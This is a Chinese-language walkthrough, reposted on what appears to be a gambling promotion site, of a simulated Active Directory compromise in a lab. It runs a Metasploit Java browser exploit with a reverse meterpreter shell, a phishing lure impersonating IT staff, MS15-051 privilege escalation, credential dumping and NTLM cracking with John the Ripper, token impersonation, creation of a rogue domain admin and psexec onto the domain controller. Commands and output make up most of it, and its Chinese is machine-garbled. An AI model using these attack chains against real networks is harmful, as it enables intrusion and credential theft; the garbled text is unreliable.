域渗入的进击模仿测试:从无接见权限到域管理员权限 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

域渗入的进击模仿测试:从无接见权限到域管理员权限

申博_新闻事件 申博 187次浏览 已收录 0个评论

本文的主要目的是为了申明运用最新的平安补钉连结体系最新的主要性尤其要申明的是,这篇文章将议论关于企业Windows状况中的平安性。

运动目次

一样平常,在Windows体系数目较为离散的公司中,一样平常会运用名为Active Directory的体系来设置域。基本上,它完成了很多历程和效劳,这些历程和效劳简化了域网络内的Windows用户帐户的治理,可以或许集合处置惩罚这些事件。

 域渗入的进击模仿测试:从无接见权限到域管理员权限

操作Active Directory域服务的服务称为域主机(domain master, DC):通过设置设备域控件的过程,可以定义适用于该域的用户和计算机的规则和策略。
具有域管理员权限的帐户属于域管理员组:它对域中注册的所有计算机具有管理员权限,即使它们位于DC中。一旦您拥有了域管理员权限,您基本上可以做您想做的事情;这就是为什么要以只设置一组具有这些权限的受限授权帐户(真正需要特权的帐户)的方式来珍惜域。

域控制器安全性的另一个主要方面是,当本地用户的代码存储在定义的计算机中时,域用户的代码存储在DC中。

假造实验室

为了模拟对域的进击,我们可以或许设置Active Directory假造实验室状况,个中Windows Server 2012 R2充任域掌握器,Windows 7 SP1 64位是一台会模拟注册到域的办公网工作站主机。
Windows 7盘算机上装置了老版本的Java Runtime Environment Java 6 Update 23,它遭到一系列长途实行代码(RCE)破绽的影响。另外,操纵体系没有打MS15-051破绽的平安补钉,这个破绽可以或许用于当地特权晋级。

进击者将默许运用Kali Linux发行版中著名的Metasploit Framework作为进击对象。在举行了初始的信息网络以后,进击者在客户端主机上发明装置了Java 6u23,以后最先提议进击。

我们可以或许从启动PostgreSQL效劳作为最先,以便运用Metasploit数据库:

[email protected]:~# service postgresql start

然后我们可以或许启动Metasploit掌握台:

[email protected]:~# msfconsole -q
msf >

Java客户端破绽应用

在影响Java 6u23的统统破绽中,我们可以或许运用Java的 storeImageArray()无效的数组索引破绽。经由历程info敕令,我们可以或许检察大批有关于这个破绽的有用信息的形貌,比方受影响的平台列表,可靠性排名,破绽表露日期,模块作者,罕见破绽和袒露(CVE)标识符,固然另有我们须要设置运转破绽应用的选项:

msf > use exploit/multi/browser/java_storeimagearray 
msf exploit(java_storeimagearray) > info
       Name: Java storeImageArray() Invalid Array Indexing Vulnerability
     Module: exploit/multi/browser/java_storeimagearray
   Platform: Java, Linux, Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-08-12
Provided by:
  Unknown
  sinn3r <[email protected]>
  juan vazquez <[email protected]>
Available targets:
  Id  Name
  --  ----
  0   Generic (Java Payload)
  1   Windows Universal
  2   Linux x86
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
Payload information:
  Space: 20480
  Avoid: 0 characters
Description:
  This module abuses an Invalid Array Indexing Vulnerability on the 
  static function storeImageArray() function in order to cause a 
  memory corruption and escape the Java Sandbox. The vulnerability 
  affects Java version 7u21 and earlier. The module, which doesn't 
  bypass click2play, has been tested successfully on Java 7u21 on 
  Windows and Linux systems.
References:
  http://cvedetails.com/cve/2013-2465/
  http://www.osvdb.org/96269
  https://www.exploit-db.com/exploits/27526
  https://packetstormsecurity.com/files/122777
  http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040

关于这类破绽的应用,进击者须要在网络效劳器上挂一个嵌入了歹意代码的网页,因而,当受害者接见网址时,它歹意代码就会实行。

检察破绽应用模块的选项,我们必需指定TARGET的操纵体系范例,即Windows,和歹意网页的URL地点的URIPATH
另外,我们须要设置PAYLOAD范例,指定我们可以或许实行的顺序,这要归功于RCE破绽:挑选Meterpreter有用载荷是一个好主张,因为它供应了大批的功用来掌握长途主机另外,我们挑选它来设置反向tcp衔接来绕过防火墙珍爱:reverse_tcp Meterpreter

另一个对照好的有用载荷reverse_http(s),在有高度平安防护的状况中更好用:事实上,这个stager供应了一个基于数据包的传输体系,而不是基于流的通信模子(若是你想相识更多信息,请参阅本文末端的参考资料。固然它也支撑我们在这里所运用的reverse_tcp的雷同功用。)

一旦肯定了有用载荷,我们就可以或许设置我们愿望受害者机械衔接回的IP地点(LHOST)和端口(LPORT)(在本例中是我们运用的主机):

msf exploit(java_storeimagearray) > set target 1
target => 1
msf exploit(java_storeimagearray) > set uripath /
uripath => /
msf exploit(java_storeimagearray) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_storeimagearray) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(java_storeimagearray) > set lport 443
lport => 443
msf exploit(java_storeimagearray) > show options 
Module options (exploit/multi/browser/java_storeimagearray):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.10     yes       The listen address
   LPORT     443              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   1   Windows Universal

经由历程准确设置装备摆设统统内容,我们可以或许将该破绽应用作为背景功课运转。

msf exploit(java_storeimagearray) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.10:443 
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.10:8080/
[*] Server started.

社会工程学

一样平常,进击者经由历程运用社会工程学手艺诳骗受害者翻开链接:比方,进击者可以或许经由历程假装公司的IT平安团队并邀请用户接见网址来下载主要的平安补钉的体式格局向目的员工发送电子邮件:

 域渗入的进击模仿测试:从无接见权限到域管理员权限

因而,当受害者接见网页时,Java破绽就会触发实行,进击者会取得shell,即受害者盘算机上的会话:

[*] Sending HTML...
[*] Sending .jar file...
[*] Sending .jar file...
 
[*] Sending stage (957999 bytes) to 192.168.1.208
[*] Meterpreter session 1 opened (192.168.1.10:443 -> 192.168.1.208:49163) at 2016-11-16 20:29:32 +0200

域渗入的进击模仿测试:从无接见权限到域管理员权限

然后我们可以或许经由历程搜检运动会话来考证shell衔接:

msf exploit(java_storeimagearray) > sessions -l
Active sessions
===============
  Id  Type                   Information                Connection
  --  ----                   -----------                ----------
  1   meterpreter x86/win32  NET\testuser1 @ WIN7SP164  192.168.1.10:443 -> 192.168.1.208:49163 (192.168.1.208)

我们在IP地点为192.168.1.10的进击者机械和IP地点为192.168.1.208的受害者机械之间建立了衔接此衔接从受害者盘算机最先,并运用端口443衔接到进击者的主机。此端口不是随机挑选的:因为这类范例的衔接看起来没那末可疑,因为它模拟了一般的SSL会话,就像用户经由历程HTTPS接见网页一样。

请注意,此破绽应用顺序在Internet Explorer(本文的测试状况是IE8)和Mozilla Firefox(固然Java插件必需处于启用状况)上都有用。

后期破绽应用

启动交互shell后,我们会天然的想到要猎取体系信息,如体系架构,域称号,用户ID;实行 sysinfo敕令可以或许获得我们所须要的信息:

msf exploit(java_storeimagearray) > sessions -i 1 
[*] Starting interaction with 1...
meterpreter > sysinfo 
Computer        : WIN7SP164
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Domain          : NET
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > getuid 
Server username: NET\testuser1

从上面的效果中,我们可以或许看到我们掌握了一台Windows 7的主机,并且meterpreter 是在由注册到NET域的用户“testuser1”所具有的历程内运转。

另一个风趣的信息是,受害者主机是64位的体系架构,而meterpreterx86的,即它运转在了32位的历程上:这意味着我们必需迁移到一个64位的历程能力准确运用meterpreter

在此之前,我们可以或许运用Metasploit后期破绽应用模块网络其他信息。比方,相识以后用户具有的特权范例会对渗入测试很有用,比方检察在当地治理员组中的用户:

meterpreter > background 
[*] Backgrounding session 1...
msf post(java_storeimagearray) > use post/windows/gather/win_privs 
msf post(win_privs) > info
       Name: Windows Gather Privileges Enumeration
     Module: post/windows/gather/win_privs
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Merlyn Cousins <[email protected]>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Description:
  This module will print if UAC is enabled, and if the current account 
  is ADMIN enabled. It will also print UID, foreground SESSION ID, is 
  SYSTEM status and current process PRIVILEGES.
msf post(win_privs) > set session 1
session => 1
msf post(win_privs) > show options 
Module options (post/windows/gather/win_privs):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
msf post(win_privs) > exploit 
Current User
============
 Is Admin  Is System  Is In Local Admin Group  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------------------  -----------  -------------  ---
 False     False      False                    True         2              "NET\\testuser1"
Windows Privileges
==================
 Name
 ----
 SeChangeNotifyPrivilege
 SeShutdownPrivilege
 SeUndockPrivilege
[*] Post module execution completed

从上面的效果中可以或许看出,该用户没有治理员权限,这对进击者来说是个坏音讯:实际上,主机防备中一个好的平安措施是为公司老板的主机设置战略,使他们在自身的机械上没有当地治理权限(固然在随后我们将看到该主机应用了一些平安补钉)。

另一个智慧的做法多是猎取域掌握器的IP地点:

msf post(win_privs) > use post/windows/gather/enum_domain
msf post(enum_domain) > info
       Name: Windows Gather Enumerate Domain
     Module: post/windows/gather/enum_domain
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Joshua Abraham <[email protected]>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION  1                yes       The session to run this module on.
Description:
  This module identifies the primary domain via the registry. The 
  registry value used is: 
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group 
  Policy\History\DCName.
msf post(enum_domain) > set session 1
session => 1
msf post(enum_domain) > exploit 
[+] FOUND Domain: net
[+] FOUND Domain Controller: DC (IP: 192.168.1.200)
[*] Post module execution completed

罗列域治理员帐户肯定是一个好主张,因为他们的特权对进击者来说是感兴趣的目的:

msf exploit(enum_domain) > use post/windows/gather/enum_domain_group_users 
msf post(enum_domain_group_users) > info
       Name: Windows Gather Enumerate Domain Group
     Module: post/windows/gather/enum_domain_group_users
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Carlos Perez <[email protected]>
  Stephen Haywood <[email protected]>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  GROUP                     yes       Domain Group to enumerate
  SESSION                   yes       The session to run this module on.
Description:
  This module extracts user accounts from specified group and stores 
  the results in the loot. It will also verify if session account is 
  in the group. Data is stored in loot in a format that is compatible 
  with the token_hunter plugin. This module should be run over as 
  session with domain credentials.
msf post(enum_domain_group_users) > set group "domain admins"
group => domain admins
msf post(enum_domain_group_users) > set session 1 
session => 1
msf post(enum_domain_group_users) > exploit 
[*] Running module against WIN7SP164
[*] Found users in domain admins
[*] NET\boss
[*] Current session running as NET\testuser1 is not a member of domain admins
[*] User list stored in /root/.msf4/loot/20160906195451_default_192.168.1.208_domain.group.mem_774905.txt
[*] Post module execution completed

效果通知我们,我们只要一个Domain Admin用户:“boss”。请记着此帐户,因为背面会用到。

请记着,我们也可以或许经由历程将meterpreter会话切换到Windows敕令行的shell来网络这些信息:比方,要查找Domain Admins用户组的列表可以或许实行敕令net groups “domain admins” /domain

回到32/64位架构的主题,我们须要将meterpreter迁移到64位历程:为此,我们可以或许列出机械上运转的统统历程并挑选一个64位的历程:

meterpreter > ps
Process List
============
 PID   PPID  Name               Arch  Session  User           Path
 ---   ----  ----               ----  -------  ----           ----
 0     0     [System Process]                                 
 4     0     System                                           
 252   4     smss.exe                                         
 280   488   svchost.exe                                      
 336   320   csrss.exe                                        
 388   320   wininit.exe                                      
 396   380   csrss.exe                                        
 432   380   winlogon.exe                                     
 488   388   services.exe                                     
 504   388   lsass.exe                                        
 512   388   lsm.exe                                          
 620   488   svchost.exe                                      
 680   488   vmacthlp.exe                                     
 724   488   svchost.exe                                      
 812   488   svchost.exe                                      
 848   488   svchost.exe                                      
 860   488   taskhost.exe       x64   1        NET\testuser1  C:\Windows\System32\taskhost.exe
 872   488   svchost.exe                                      
 928   488   svchost.exe                                      
 1116  488   wmpnetwk.exe                                     
 1152  488   spoolsv.exe                                      
 1188  488   svchost.exe                                      
 1248  488   msdtc.exe                                        
 1308  488   svchost.exe                                      
 1368  488   VGAuthService.exe                                
 1476  488   vmtoolsd.exe                                     
 1532  848   dwm.exe            x64   1        NET\testuser1  C:\Windows\System32\dwm.exe
 1656  488   svchost.exe                                      
 1700  1708  vmtoolsd.exe       x64   1        NET\testuser1  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1708  1664  explorer.exe       x64   1        NET\testuser1  C:\Windows\explorer.exe
 1828  620   WmiPrvSE.exe                                     
 1908  488   dllhost.exe                                      
 1992  156   gEcLfOyZ.exe       x86   1        NET\testuser1  C:\Users\testuser1\AppData\Local\Temp\~spawn4804236038822370445.tmp.dir\gEcLfOyZ.exe
 2188  620   WmiPrvSE.exe                                     
 2376  488   svchost.exe                                      
 2740  488   SearchIndexer.exe 
请注意PID 1992的历程与位于Temp目次中的“.exe”有用载荷文件相干联:这个就是以后运转的meterpreter的历程。一样平常,迁移到“explorer.exe”是一个不错的挑选,因而我们运用其PID作为migrate敕令的参数:
meterpreter > migrate 1708
[*] Migrating from 1992 to 1708...
[*] Migration completed successfully.
meterpreter > sysinfo 
Computer        : WIN7SP164
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : NET
Logged On Users : 2
Meterpreter     : x64/win64

特权晋级

如今我们主要存眷的是,纵然我们可以或许在以后用户“testuser1”的高低文中读取和写入文件,我们也愿望能取得对该机械的特权接见,即我们愿望取得治理员权限。
为此,我们可以或许剖析体系上已装置的平安修补顺序,查找是不是存在未修补的权限提拔破绽。经由历程如许的做法,我们可以或许切换到Windows敕令行的shell并运用“wmic”实用顺序:

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

meterpreter > shell
Process 1880 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>wmic qfe list 
wmic qfe list
Caption                                        CSName     Description  FixComments  HotFixID  InstallDate  InstalledBy              InstalledOn  Name  ServicePackInEffect  Status  
http://go.microsoft.com/fwlink/?LinkId=161784  WIN7SP164  Update                    KB971033               NT AUTHORITY\SYSTEM      9/1/2016                                        
http://support.microsoft.com/?kbid=976902      WIN7SP164  Update                    KB976902               win7sp164\Administrator  11/21/2010
C:\Windows\system32>^C
Terminate channel 1? [y/N]  y
meterpreter > background 
[*] Backgrounding session 1...

输出效果清楚地注解,在该公司中,Windows体系治理员其实不经常性的更新客户端工作站。

比方,我们发明缺乏MS15-051破绽的KB补钉编号,因而我们可以或许应用这个破绽。此破绽影响了Windows内核形式驱动顺序可以或许致使RCE,因而可以或许实行当地权限提拔,即我们可以或许将运用“testuser1”的权限运转的meterpreter的会话权限提拔为NT AUTHORITY\SYSTEM

msf exploit(java_storeimagearray) > use exploit/windows/local/ms15_051_client_copy_image 
msf exploit(ms15_051_client_copy_image) > info
       Name: Windows ClientCopyImage Win32k Exploit
     Module: exploit/windows/local/ms15_051_client_copy_image
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-05-12
Provided by:
  Unknown
  hfirefox
  OJ Reeves
  Spencer McIntyre
Available targets:
  Id  Name
  --  ----
  0   Windows x86
  1   Windows x64
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Payload information:
  Space: 4096
Description:
  This module exploits improper object handling in the win32k.sys 
  kernel mode driver. This module has been tested on vulnerable builds 
  of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
References:
  http://cvedetails.com/cve/2015-1701/
  http://technet.microsoft.com/en-us/security/bulletin/MS15-051
  https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
  https://github.com/hfiref0x/CVE-2015-1701
  https://technet.microsoft.com/library/security/MS15-051

要运转此模块,我们只须要设置要运转模块的会话和有用载荷范例:

msf exploit(ms15_051_client_copy_image) > set session 1 
session => 1
msf exploit(ms15_051_client_copy_image) > set target 1
target => 1
msf exploit(ms15_051_client_copy_image) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms15_051_client_copy_image) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(ms15_051_client_copy_image) > show options 
Module options (exploit/windows/local/ms15_051_client_copy_image):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.10     yes       The listen address
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   1   Windows x64
msf exploit(ms15_051_client_copy_image) > exploit
[*] Started reverse TCP handler on 192.168.1.10:4444 
[*] Launching notepad to host the exploit...
[+] Process 2856 launched.
[*] Reflectively injecting the exploit DLL into 2856...
[*] Injecting exploit into 2856...
[*] Exploit injected. Injecting payload into 2856...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (1189423 bytes) to 192.168.1.208
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.208:49164) at 2016-11-16 20:45:29 +0200

新建立的会话具有SYSTEM权限:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 2...
msf exploit(ms15_051_client_copy_image) > sessions -l
Active sessions
===============
  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x64/win64  NET\testuser1 @ WIN7SP164        192.168.1.10:443 -> 192.168.1.208:49326 (192.168.1.208)
  2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ WIN7SP164  192.168.1.10:4444 -> 192.168.1.208:49327 (192.168.1.208)

这意味着如今我们可以或许完整掌握受沾染的体系,比方可以或许接见当地存储的凭据:

msf exploit(ms15_051_client_copy_image) > use post/windows/gather/credentials/credential_collector 
msf post(credential_collector) > info
       Name: Windows Gather Credential Collector
     Module: post/windows/gather/credentials/credential_collector
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  tebo <[email protected]>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Description:
  This module harvests credentials found on the host and stores them 
  in the database.
msf post(credential_collector) > set session 2
session => 2
msf post(credential_collector) > exploit 
[*] Running module against WIN7SP164
[+] Collecting hashes...
    Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: test:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
[+] Collecting tokens...
    NET\testuser1
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    NT AUTHORITY\ANONYMOUS LOGON
    [*] Post module execution completed

此模块将网络的凭据存储在Metasploit数据库中,因而可以或许运用简朴的敕令显现它们:

msf post(credential_collector) > creds
Credentials
===========
host           origin         service        public         private                                                            realm  private_type
----           ------         -------        ------         -------                                                            -----  ------------
192.168.1.208  192.168.1.208  445/tcp (smb)  Administrator  aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef         NTLM hash
192.168.1.208  192.168.1.208  445/tcp (smb)  Guest          aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash
192.168.1.208  192.168.1.208  445/tcp (smb)  test           aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash

NTLM哈希破解

经由历程剖析网络的凭据,我们找到以下字段:用户名和由冒号分开的两个字符串这两个代表该用户的加密暗码。
运用散列算法存储Windows凭据:散列的第一局部透露表现LAN ManagerLM)散列。默许状况下,从Windows VistaWindows Server 2008最先禁用LM身份考证协定,因为它确切不平安这就是为什么字符串“aad3b435b51404eeaad3b435b51404ee”代表一个空值(记着我们掌握的是Windows 7的主机)。
第二局部代表NT LAN ManagerNTLM)哈希:NTLMLM协定的晋级版本,但它依然轻易遭到暗码破解进击。这就是我们可以或许运用暗码破解对象John The Ripper的缘由 在字典进击形式下查找响应的明文暗码。

因为NTLM散列函数是已知的,因而可以或许预先为给定的单词盘算响应的散列并且它是对称的加密,以是我们在单词和散列之间有一对一的对应干系。因而,可以或许将f界说为散列函数,将x界说为纯文本暗码,那末y = f(x)就可以或许返回盘算的散列值。

字典进击的工作体式格局很简朴:假定我们有一个带有单词列表的文件(这就是为什么这些文件可以或许在“wordlists”的称号下找到)关于每一个单词,我们天生其响应的NTLM哈希,然后我们将它与我们想要破解的哈希举行对照。一旦找到婚配的谁人,我们就肯定已找到了暗码。

挑选字典进击而不是暴力进击老是一个不错的主张,因为人们一样平常会将经常使用的词设置为他们的暗码,在这类状况下,我们可以或许异常疾速地完成我们的义务。

我们对Administrator帐户感兴趣,因而我们起首将其详细信息(即用户名和响应的NTLM哈希)保存在文本文件中:

[email protected]:~# cat hashes.txt 
Administrator:5835048ce94ad0564e29a924a03510ef

然后我们可以或许经由历程指定哈希花样和我们想要用来破解哈希的字典文件来启动破解对象(默许状况下,Kali Linux中的/usr/share/wordlists文件夹里包含了“rockyou”字典 ):

[email protected]:~# john --format=NT --wordlist=/root/dictionary/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1        (Administrator)
1g 0:00:00:00 DONE (2016-09-03 23:09) 25.00g/s 900.0p/s 900.0c/s 900.0C/s tigger..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed

JTR已胜利找到治理员帐户的暗码:“password1”。考虑到进击者可以或许会碰到的最坏的状况,我们假定当地治理员暗码在属于该域的每一个客户端主机上都是分歧的。

令牌冒充

在这类状况下,有分歧的体式格局继承渗入比方,我们可以或许运用称为令牌盗取令牌模拟的手艺来举行下一步的进击。
Windows中,每次用户实验登录时,体系都邑经由历程将用户暗码与存储在平安数据库中的暗码举行婚配来考证用户的暗码是不是准确:这称为身份考证历程。当该历程胜利时,体系将天生接见令牌。令牌可以或许被视为暂时密钥,因而在该用户的高低文中实行的每一个历程都不须要再次输入暗码就可以或许运用用户的权限运转:这些称为托付令牌并且它们在体系上延续存在直到下次重新启动。实际上,用户注销不会使令牌失效,但令牌自身将被作为模拟令牌而不是托付令牌。

若是用户衔接到受沾染的盘算机,则可以或许会盗取其相干的令牌。可以或许运用一款名叫IncognitoMetasploit扩大来实行此义务。
看一下之前运用的“credential_collector”模块的输出,我们看到有关令牌的一些信息。如今,假定Domain Admin在受控盘算机上登录,我们就可以或许从Incognito扩大的list_tokens敕令返回的效果中看到该用户的托付令牌:

msf exploit(credential_collector) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > load incognito 
Loading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NET\boss
NET\testuser1
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

涌现了“boss”用户的托付令牌,如之前枚举的那样,是个域治理员。我们可以或许实验模拟该令牌来猎取用户权限:

meterpreter > impersonate_token
Usage: impersonate_token <token>
Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.
Hint: Double backslash DOMAIN\\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space
meterpreter > impersonate_token NET\\boss
[+] Delegation token available
[+] Successfully impersonated user NET\boss

返回了模拟胜利的音讯。切换到Windows shell,我们可以或许搜检一下我们以后的用户信息:

meterpreter > shell
Process 888 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>whoami
whoami
net\boss

模拟令牌猎取到的治理员权限可以或许让我们随便实行任何操纵比方,我们可以或许增加新用户到AD上:

C:\Windows\system32>net user evilboss password123 /add /domain
net user evilboss password123 /add /domain
The request will be processed at a domain controller for domain net.testlab.
The command completed successfully.

特别要申明的是,我们可以或许为刚建立的用户“evilboss”供应域治理员权限:

C:\Windows\system32>net group "Domain Admins" evilboss /add /domain
net group "Domain Admins" evilboss /add /domain
The request will be processed at a domain controller for domain net.testlab.
The command completed successfully.

如今我们具有自身的Domain Admin用户,经由历程该用户,我们可以或许对注册到域的每台盘算机具有治理接见权限。也就是说,域掌握器存储了统统域用户的NTLM哈希值。要登录DC,我们可以或许运用“psexec”模块:

C:\Windows\system32>^C
Terminate channel 1? [y/N]  y
meterpreter > background 
[*] Backgrounding session 2...
msf exploit(credential_collector) > use exploit/windows/smb/psexec
msf exploit(psexec) > info
       Name: Microsoft Windows Authenticated User Code Execution
     Module: exploit/windows/smb/psexec
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 1999-01-01
Provided by:
  hdm <[email protected]>
  Royce Davis <[email protected]>
  RageLtMan <[email protected]>
Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   PowerShell
  2   Native upload
  3   MOF upload
Basic options:
  Name                  Current Setting  Required  Description
  ----                  ---------------  --------  -----------
  RHOST                                  yes       The target address
  RPORT                 445              yes       The SMB service port
  SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                   no        The service display name
  SERVICE_NAME                           no        The service name
  SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain             .                no        The Windows domain to use for authentication
  SMBPass                                no        The password for the specified username
  SMBUser                                no        The username to authenticate as
Payload information:
  Space: 3072
Description:
  This module uses a valid administrator username and password (or 
  password hash) to execute an arbitrary payload. This module is 
  similar to the "psexec" utility provided by SysInternals. This 
  module is now able to clean up after itself. The service created by 
  this tool uses a randomly chosen name and description.
References:
  http://cvedetails.com/cve/1999-0504/
  http://www.osvdb.org/3106
  http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
  http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access
  http://sourceforge.net/projects/smbexec/

此模块将域称号,有用的治理员用户名和暗码(无论是纯文本照样散列都可)和我们要登录的目的主机作为输入参数。它会衔接到目的盘算机上指定的Samba同享。

msf exploit(psexec) > set target 1
target => 1
msf exploit(psexec) > set rhost 192.168.1.200
rhost => 192.168.1.200
msf exploit(psexec) > set SMBDomain NET
SMBDomain => NET
msf exploit(psexec) > set SMBUser evilboss
SMBUser => evilboss
msf exploit(psexec) > set SMBPass password123
SMBPass => password123
msf exploit(psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(psexec) > set lport 4445
lport => 4445
msf exploit(psexec) > exploit -j
[*] Started reverse TCP handler on 192.168.1.10:4445 
[*] 192.168.1.200:445 - Connecting to the server...
[*] 192.168.1.200:445 - Authenticating to 192.168.1.200:445|NET as user 'evilboss'...
[*] 192.168.1.200:445 - Executing the payload...
[+] 192.168.1.200:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957999 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.10:4445 -> 192.168.1.200:49245) at 2016-11-16 20:58:18 +0200
msf exploit(psexec) > sessions -l
Active sessions
===============
  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x64/win64  NET\testuser1 @ WIN7SP164        192.168.1.10:443 -> 192.168.1.208:49163 (192.168.1.208)
  2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ WIN7SP164  192.168.1.10:4444 -> 192.168.1.208:49164 (192.168.1.208)
  4   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ DC         192.168.1.10:4445 -> 192.168.1.200:49388 (192.168.1.200)
meterpreter > sysinfo 
Computer        : DC
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_US
Domain          : NET
Logged On Users : 5
Meterpreter     : x64/win64

末了,我们可以或许转储存储在域掌握器上的统统凭据:

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4b08728132d41e230b4ee268c5b42acb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
